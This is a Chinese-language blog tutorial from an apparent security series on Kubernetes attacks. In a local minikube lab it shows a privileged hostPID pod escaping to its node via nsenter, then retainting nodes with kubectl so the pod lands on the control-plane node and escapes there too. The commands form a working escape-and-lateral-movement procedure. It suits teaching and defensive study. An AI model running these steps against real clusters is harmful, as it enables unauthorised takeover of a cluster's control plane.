iT邦幫忙

2023 iThome 鐵人賽

DAY 21
0

Yes

  • 汙點橫移手法算是一種 K8s 獨有的橫向移動攻擊手法,觀念還蠻簡單、有趣的,一樣在攻擊前先看手法跟位置。參考 从攻击者视角聊聊K8S集群安全 - 上 一圖,並沒有該攻擊手法的對應位置。
    https://ithelp.ithome.com.tw/upload/images/20230928/20148308zPJeStUJe6.png

  • 另外依據微軟的 Threat-Matrix-for-Kubernetes,該手法隸屬資料如下 :

  • 原本以為 minikube 無法多開多個 node,但後來發現其實可以。參考 Using Multi-Node Clusters 會發現其實從 minikube 1.10.1 開始就支援這個功能,接著我們就來建立看看環境,也就是說整體的架構產生變化如下。

https://ithelp.ithome.com.tw/upload/images/20230928/20148308Of7LmEKtEH.png
單一節點架構

https://ithelp.ithome.com.tw/upload/images/20230928/20148308EJYuCdZE3H.png
多節點架構

  • 執行以指令如下。
# 這步會清空 K8s 叢集,並指定開啟 2 個節點
minikube delete && minikube start --nodes 2 ; 

# 這邊會看到兩個 node,1個是 control-plane,也就是 master node
kubectl get nodes ; 

# 觀察這些 node 的 label
kubectl get nodes --show-labels ;

#建立一個 pod 看看
kubectl run test-pod --image aeifkz/my-ubuntu:v1.0 ; 

# 透過 ssh 連到 k8s node,不指定的話預設連到 control-plane
# minikube ssh -n [node_name] ; 
minikube ssh -n minikube ;
docker ps | grep test-pod ;
exit ;

minikube ssh -n minikube-m02 ;
# 這邊會發現 Pod 內的容器是新增到 worker node 裡面
docker ps | grep test-pod ;
exit ;
  • 接著來測試一下容器逃逸手法,直接建立 pod 並掛載宿主機 pid。
apiVersion: v1
kind: Pod
metadata:
  name: target-pod
spec:
  hostPID: true
  containers:
  - name: target-pod
    image: aeifkz/my-ubuntu:v1.0
    securityContext:
      privileged: true
  • 進行容器逃逸手法並且觀察結果。
#請自行命名並且套用
kubectl create -f [上面的檔案名稱] ; 

kubectl exec -it target-pod -- bash ;

# 逃逸出現 minikube-m02
nsenter -m -u -i -n -p -t 1 bash ; 

# 跳離 nsenter
exit ; 

# 跳離 kubectl exec
exit ; 

# 清空pod資源
kubectl delete -f [上面的檔案名稱] ; 
  • 看到主機名稱 minikube-m02 就可以知道目前逃逸的位置是在 worker nodes,所以目前只掌握了該 worker node 底下全部的容器。但實際上掌控生殺大權的地方是在 master node,因此要想辦法移動過去。

  • 參考 Taints and Tolerations 得知有個機制叫 taint 是設計用來讓 pod 不要被分派到某個 worker node。也就是說如果我們有權限幫 worker node 貼上標籤,然後撕掉 master node 的標籤,那就有辦法讓這個特權容器轉移建立在 master node,接著進行容器逃逸就可以掌握 master node 的控制權。這個攻擊手法目前好像沒看到名字,這邊就命名為汙點橫移手法。

#兩個目前都沒設定 taints,正常來說 master node 應該要設定 NoSchedule 才對
kubectl get nodes -o json | jq '.items[].spec.taints' ; 

# 替 worker node 新增 NoSchedule
kubectl taint nodes minikube-m02 node-role.kubernetes.io/control-plane:NoSchedule ; 

#請自行命名並且套用
kubectl create -f [上面的檔案名稱] ; 
kubectl exec -it target-pod -- bash ;

# 出現 minikube,代表透過汙點橫移手法跑到 master node
nsenter -m -u -i -n -p -t 1 bash ; 
  • 今日總結 :
    • 本日回顧 :

      • 過去講的東西可能偏向透過逃逸、提權手法拿到 worker node 的權限,但今天主要是開啟一個新的思維透過汙點橫移取得 master node 的控制權,雖然這部分需要相對應的 RBAC 權限,但也算是 K8s 一個特有的攻擊手法,因此在權限的給予上仍然需要注意。/images/emoticon/emoticon21.gif
    • 次日預告 :

      • 本次系列的跟期中考有關的攻擊手法就差不多介紹到這邊了。明天就是期中考啦!!!/images/emoticon/emoticon18.gif 記得準備好靶機、攻擊機還有乾淨的快照,明天主要會講解期中考的建立方式跟解題的限制,所以記得先看完再開始解題喔。/images/emoticon/emoticon61.gif

上一篇
Day21 - (攻擊) ARP spoofing 介紹 (含作業6)
下一篇
Day23 - 月圓之夜,決戰 K8s CTF 之巔 (quiz-5 出錯,直接送分)
系列文
怕痛的我把 Docker、K8s 攻擊、防禦、偵測力點滿就對了63
圖片
  直播研討會
圖片
{{ item.channelVendor }} {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言